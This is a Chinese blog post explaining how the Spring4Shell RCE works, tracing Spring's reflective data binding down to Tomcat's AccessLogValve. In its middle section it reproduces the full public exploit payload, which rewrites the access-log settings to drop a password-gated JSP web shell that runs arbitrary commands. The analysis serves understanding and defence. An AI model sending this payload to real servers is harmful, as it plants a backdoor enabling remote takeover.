Spring4Shell的漏洞原理分析

Spring框架最新的PoC
这两天出来的一个RCE漏洞,但是有以下的条件限制才行:

  • 必须是jdk9及以上
  • 必须是部署在tomcat的应用
  • 是springmvc的或者webflux的应用
具体的可以查看spring官方:
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
我看到这个漏洞的时候,就去查了以下怎么利用的,github一搜很多py脚本。
但是我没找到漏洞利用的原理,所以我就自己做了个demo,然后debugger了一下,原来是这样~
漏洞利用的原理
我们都知道,我们在springmvc的时候经常会这么写代码来接收前端传来的参数
@RequestMapping(value = "https://www.it610.com/register", method = RequestMethod.GET) public String register(@RequestParam Map requestparams, Model model) throws Exception { String email = requestparams.get("email"); String username = requestparams.get("username"); model.addAttribute("data", "email:" + email + " username:" + username); return "index"; }

如果我们这么访问:
http://localhost:8080/vulnerable_war/register?email=11&username=b
那么返回的结果就是这样:

Spring4Shell的漏洞原理分析
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image 那么如果我们把接收的类型从Map转成一个POJO的话,就像这样:
@RequestMapping(value = "https://www.it610.com/register2", method = RequestMethod.GET) public String register2(HelloWorld obj, Model model) throws Exception { model.addAttribute("data", obj.toString()); return "index"; }

访问一下:
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image 这说明了,springmvc框架帮我们做了一个很重要的事情:
通过我们请求的数据,转成了POJO对象。
恰巧就是这个非常好用的封装导致了这个POC
解析POC第一步:到底构造了一个什么数据会引发呢? 跑的环境是:
  • jdk11
  • tomcat8.5.58
  • spring-webmvc5.3.15
class.module.classLoader.resources.context.parent.pipeline.first.pattern= %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

将上面的数据用下面post的方式调用下面的接口
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@RequestMapping(value = "https://www.it610.com/rapid7") public void vulnerable(HelloWorld model) {}

注意header里面的值是需要的,目的是为了迎合tomcat日志的pattern(下面会讲到)
  • %i 这个语法是从请求的header里面拿xxx
就会在tomcat的Root目录下生成一个jsp文件
Spring4Shell的漏洞原理分析
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image 内容如下:
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image 计息POC第二步:jsp文件是怎么生成的? 方法接收的class:HelloWorld,我这么传,spring框架是怎么来处理的呢?
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image 根据HelloWorld的实例
结合传过来属性路径: class.module.classLoader.resources.context.parent.pipeline.first.pattern
然后一步步的运用反射来去拿属性对应的值,这个例子的话就是
  • 调用HelloWorld的getClass() 拿到Class对象
  • 通过class对象调用getModule()
  • 通过Module调用getClassLoader()
  • 通过ClassLoader拿resources
  • context是Tomcat的StandardContext
  • parent拿到的是StandardEngine
  • pipeline拿到的是StandardPipeline
  • first拿到的是AccessLogValve
可以在下图所示设置断点:就可以看到上面说的每一步了 Spring4Shell的漏洞原理分析
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主角上场: Spring4Shell的漏洞原理分析
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AccessLogValve是tomcat记录日志的,
  • pattern是日志格式
  • suffix是日志文件的后缀
  • prefix是日志文件的前缀
  • fileDateFormat是日期文件的时间格式
谜底揭晓 根据以上分析,我们知道,传过去的data由对象的class作为引子,然后springmvc会一步步反射拿属性的方式最终是给AccessLogValve对象的几个属性的赋值操作
经过对tomcat的处理请求的日志管道(AccessLogValve)的改写,导致当前请求会被触发记录日志,日志会按照我们想要的方式生成了一个jsp文件。
Spring4Shell的漏洞原理分析
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image 为啥是jdk9及以上版本呢,因为module的概念是从jdk9开始的~
为啥是得部署到tomcat里的应用呢,因为只有这样才会利用它的日志功能~
spring是咋修复的 Spring4Shell的漏洞原理分析
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【Spring4Shell的漏洞原理分析】Spring4Shell的漏洞原理分析
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